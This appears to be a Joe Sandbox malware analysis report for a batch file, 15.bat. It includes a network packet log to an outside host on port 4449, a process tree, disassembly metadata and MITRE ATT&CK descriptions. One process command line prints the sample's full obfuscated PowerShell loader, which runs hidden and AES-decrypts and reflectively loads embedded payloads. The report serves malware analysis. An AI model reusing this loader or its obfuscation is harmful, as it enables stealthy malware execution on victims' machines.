Apr 20, 2024 10:09:43.724879026 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:43.775610924 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:43.977382898 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:43.979890108 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:44.222058058 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:44.222122908 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:44.465137005 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:44.816210985 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:45.059978962 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:45.064209938 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:45.267447948 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:45.324214935 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:45.526329994 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:45.528013945 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:45.780250072 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:45.780452967 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:46.025827885 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:46.285476923 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:46.536556005 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:46.544210911 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:46.747688055 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:46.792200089 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:46.994659901 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:47.003201008 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:47.246016026 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:47.252191067 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:47.456177950 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:47.510021925 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:47.712292910 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:47.714272976 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:47.973675966 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:47.973855972 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:48.216449022 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:53.675286055 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:53.928735971 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:53.928927898 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:54.132782936 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:54.181977034 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:54.384277105 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:54.388019085 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:54.638042927 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:54.638366938 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:54.881268024 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:10:01.488622904 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:10:01.740128994 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:10:01.744214058 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:10:01.946973085 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:10:02.088129044 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:10:02.266036987 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:10:02.268217087 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:10:02.290721893 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:10:02.292213917 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:10:02.628458023 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:10:02.878638029 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:10:02.878731966 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:10:03.120935917 CEST	4449	49730	193.222.96.128	192.168.2.4

Target ID:	0
Start time:	10:05:55
Start date:	20/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\15.bat" "
Imagebase:	0x7ff61b9b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:05:55
Start date:	20/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:05:55
Start date:	20/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /K "C:\Users\user\Desktop\15.bat"
Imagebase:	0x7ff61b9b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	10:05:55
Start date:	20/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	10:05:55
Start date:	20/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\Desktop\15.bat';$MMJz='GelYestClYesurlYesrenlYestlYesProlYesceslYesslYes'.Replace('lYes', ''),'ChFGxTanFGxTgFGxTeEFGxTxFGxTteFGxTnsFGxTiFGxToFGxTnFGxT'.Replace('FGxT', ''),'EleTQWBmeTQWBnTQWBtAtTQWB'.Replace('TQWB', ''),'CrAFGseAFGsaAFGstAFGseAFGsDecAFGsryAFGsptAFGsorAFGs'.Replace('AFGs', ''),'SRlYbpRlYblRlYbiRlYbtRlYb'.Replace('RlYb', ''),'DoaAnecooaAnmpoaAnresoaAnsoaAn'.Replace('oaAn', ''),'EnHILctrHILcyHILcPoHILcinHILctHILc'.Replace('HILc', ''),'CDYnropDYnryToDYnr'.Replace('DYnr', ''),'ReaOApIdLiOApInesOApI'.Replace('OApI', ''),'IndQRQvodQRQkedQRQ'.Replace('dQRQ', ''),'TratglInstglIfotglIrmtglIFitglInatglIlBltglIotglIctglIktglI'.Replace('tglI', ''),'MbkBwaibkBwnbkBwModbkBwulbkBwebkBw'.Replace('bkBw', ''),'FroXggooXggmBaoXggseoXgg64SoXggtroXggioXggngoXgg'.Replace('oXgg', ''),'Loajyrjdjyrj'.Replace('jyrj', '');powershell -w hidden;function FBejp($JKmLP){$UerdI=[System.Security.Cryptography.Aes]::Create();$UerdI.Mode=[System.Security.Cryptography.CipherMode]::CBC;$UerdI.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$UerdI.Key=[System.Convert]::($MMJz[12])('dVsAn8RIciGbSq5PEUSffnRQiEF7D6JhJ+MhQGAxpxA=');$UerdI.IV=[System.Convert]::($MMJz[12])('rrMf8DdSiOTkJYW5AhOOlg==');$ytGVg=$UerdI.($MMJz[3])();$FTQFX=$ytGVg.($MMJz[10])($JKmLP,0,$JKmLP.Length);$ytGVg.Dispose();$UerdI.Dispose();$FTQFX;}function mpyCC($JKmLP){$FjjxJ=New-Object System.IO.MemoryStream(,$JKmLP);$sySFb=New-Object System.IO.MemoryStream;$Rdfpf=New-Object System.IO.Compression.GZipStream($FjjxJ,[IO.Compression.CompressionMode]::($MMJz[5]));$Rdfpf.($MMJz[7])($sySFb);$Rdfpf.Dispose();$FjjxJ.Dispose();$sySFb.Dispose();$sySFb.ToArray();}$BklLD=[System.IO.File]::($MMJz[8])([Console]::Title);$oNBKh=mpyCC (FBejp ([Convert]::($MMJz[12])([System.Linq.Enumerable]::($MMJz[2])($BklLD, 5).Substring(2))));$HuDRY=mpyCC (FBejp ([Convert]::($MMJz[12])([System.Linq.Enumerable]::($MMJz[2])($BklLD, 6).Substring(2))));[System.Reflection.Assembly]::($MMJz[13])([byte[]]$HuDRY).($MMJz[6]).($MMJz[9])($null,$null);[System.Reflection.Assembly]::($MMJz[13])([byte[]]$oNBKh).($MMJz[6]).($MMJz[9])($null,$null); "
Imagebase:	0x7ff61b9b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:05:55
Start date:	20/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	10:05:58
Start date:	20/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	8
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFD9B8A6E30 Relevance: 2.1, Strings: 1, Instructions: 857
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ZL_H, xrefs: 00007FFD9B8ACA6D

Memory Dump Source

Source File: 00000006.00000002.1718907892.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID: ZL_H
API String ID: 0-3109080135
Opcode ID: a66f5fb573f0c62edb0dfba7547fcc4e12b430291a7f86e998c0ad75d73ffc49
Instruction ID: a6322e33baa8473d7afaa039702a7418d02bf71f318add641a2d0f7f9bbc417d
Opcode Fuzzy Hash: a66f5fb573f0c62edb0dfba7547fcc4e12b430291a7f86e998c0ad75d73ffc49
Instruction Fuzzy Hash: D8424831B19A4E4FEB9CDB2C88656B573D2FF99310F1441BAD05EC72E6DE35A8428780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8AD4F9 Relevance: 1.7, APIs: 1, Instructions: 245
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FFD9B8AD6CE

Memory Dump Source

Source File: 00000006.00000002.1718907892.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 280b12a183fb1455493e3992454f50d4f2cdb61e00ac646047d74180fcc740e1
Instruction ID: 4e911cf3e1cc0829262934a45e4ac88145f219df0762167cfa894c79ff645eff
Opcode Fuzzy Hash: 280b12a183fb1455493e3992454f50d4f2cdb61e00ac646047d74180fcc740e1
Instruction Fuzzy Hash: 5E71F671A0DA484FDB58DF6CD8556A97BE0FF59320F0442BEE049D32A2DF24A8028781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A45DA Relevance: 1.6, APIs: 1, Instructions: 130
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FFD9B8AD6CE

Memory Dump Source

Source File: 00000006.00000002.1718907892.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 70a6e182c92b496d68fc852dc464a6e39a20cdd66db62cea893af21cc4adbfc7
Instruction ID: f4e427c6e80c2414a82e948a563d1b98d3f9fc36409eea0e101c92e79d5b4bc4
Opcode Fuzzy Hash: 70a6e182c92b496d68fc852dc464a6e39a20cdd66db62cea893af21cc4adbfc7
Instruction Fuzzy Hash: 7F31A27191CA1C8FDB58EF58D845AF977E0FB69721F10422EE04EE3251DB70A8028BC1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A45EA Relevance: 1.6, APIs: 1, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE ref: 00007FFD9B8EFCB5

Memory Dump Source

Source File: 00000006.00000002.1718907892.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 9b5c70a5677a51f9417965b1ebe56ccf62e1c00a5684c3df1e35fcb8b3204905
Instruction ID: 1e18795d65b83358bee11c003991a0802b2518befa5ea40affb0a9df091602a4
Opcode Fuzzy Hash: 9b5c70a5677a51f9417965b1ebe56ccf62e1c00a5684c3df1e35fcb8b3204905
Instruction Fuzzy Hash: EE21B530A08A0C9FDB5CEB98D845BF977E0FB59321F10422ED049D3651DB71A812CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9715DD Relevance: .7, Instructions: 669
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.1719618393.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef2cfd1dcca4d46f89b9a86623f8607f510ac09824fd422f1f50168b7a7631f4
Instruction ID: 985fbe2c436c24de8003bdf09ebf67ac928ffe8cf3d0d681535ff2dd665c9355
Opcode Fuzzy Hash: ef2cfd1dcca4d46f89b9a86623f8607f510ac09824fd422f1f50168b7a7631f4
Instruction Fuzzy Hash: 7B123921B1F7D92FE76A876858A15B47BE1EF52314B0A01FBD088C71F3EA189D068352

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFD9B8AF50D Relevance: 3.0, Strings: 2, Instructions: 474
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

NL_^, xrefs: 00007FFD9B8AF601
^, xrefs: 00007FFD9B8AF839

Memory Dump Source

Source File: 00000006.00000002.1718907892.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID: NL_^$^
API String ID: 0-2447703788
Opcode ID: 8762004bd090f6621f36bba165033fa2e3ebea45b2d18b39a0a9917d20ce9dea
Instruction ID: e6c0ca5d5b2ace2d1583755220e63352966ee37ed4cfad93ef22b2ae0f2f65dc
Opcode Fuzzy Hash: 8762004bd090f6621f36bba165033fa2e3ebea45b2d18b39a0a9917d20ce9dea
Instruction Fuzzy Hash: 5BD15652B0D9A64AD32AB3BD7C755FD7B40DF85338B0942BBC18D8B0E7A908644783D2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BDCA0 Relevance: 2.1, Strings: 1, Instructions: 840COMMON

Download Yara Rule

Strings

_K_H, xrefs: 00007FFD9B8BDD3F

Memory Dump Source

Source File: 00000006.00000002.1718907892.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID: _K_H
API String ID: 0-2344692464
Opcode ID: 3d729e8e9906ce062121ea85763f8872910ab35e953c4f844ab22203bbf3194f
Instruction ID: 7e892242cd3ffa55faaa4b7ffd8d8b765e1e88e035a97ebf1a3187ed3c457d47
Opcode Fuzzy Hash: 3d729e8e9906ce062121ea85763f8872910ab35e953c4f844ab22203bbf3194f
Instruction Fuzzy Hash: 9142A431B1991E4FEBA4EB6CD864A6977E1FF9C340F0505B9E44DC32A6DE24E8418B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8AF8D8 Relevance: 2.0, Strings: 1, Instructions: 751COMMON

Download Yara Rule

Strings

eJ_^, xrefs: 00007FFD9B8D10DF

Memory Dump Source

Source File: 00000006.00000002.1718907892.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID: eJ_^
API String ID: 0-3379264260
Opcode ID: 4b525855e0cd93730458f67a746bb80e6ea657ffe252c0b647dfe6a82e8810da
Instruction ID: 3797be61c5196aa83672cc10b5945ac409a2a23135382a1a62aee510b62658ca
Opcode Fuzzy Hash: 4b525855e0cd93730458f67a746bb80e6ea657ffe252c0b647dfe6a82e8810da
Instruction Fuzzy Hash: A322F630B1DA4A4BE76CE768946267573C2FFD8740F45427EE04EC32D7DE29B9028681

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 15.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_owwgvgmx.sep.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rm4u2mft.m10.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tlkrsuot.rle.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xenaccby.0uo.psm1

C:\Users\user\AppData\Roaming\MyData\DataLogs.conf

\Device\ConDrv

Static File Info

General

File Icon

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

Windows Analysis Report
15.bat

Function 00007FFD9B8A6E30 Relevance: 2.1, Strings: 1, Instructions: 857
COMMON

Function 00007FFD9B8AD4F9 Relevance: 1.7, APIs: 1, Instructions: 245
fileCOMMON

Function 00007FFD9B8A45DA Relevance: 1.6, APIs: 1, Instructions: 130
fileCOMMON

Function 00007FFD9B8A45EA Relevance: 1.6, APIs: 1, Instructions: 91
COMMON

Function 00007FFD9B9715DD Relevance: .7, Instructions: 669
COMMON

Function 00007FFD9B8AF50D Relevance: 3.0, Strings: 2, Instructions: 474
COMMON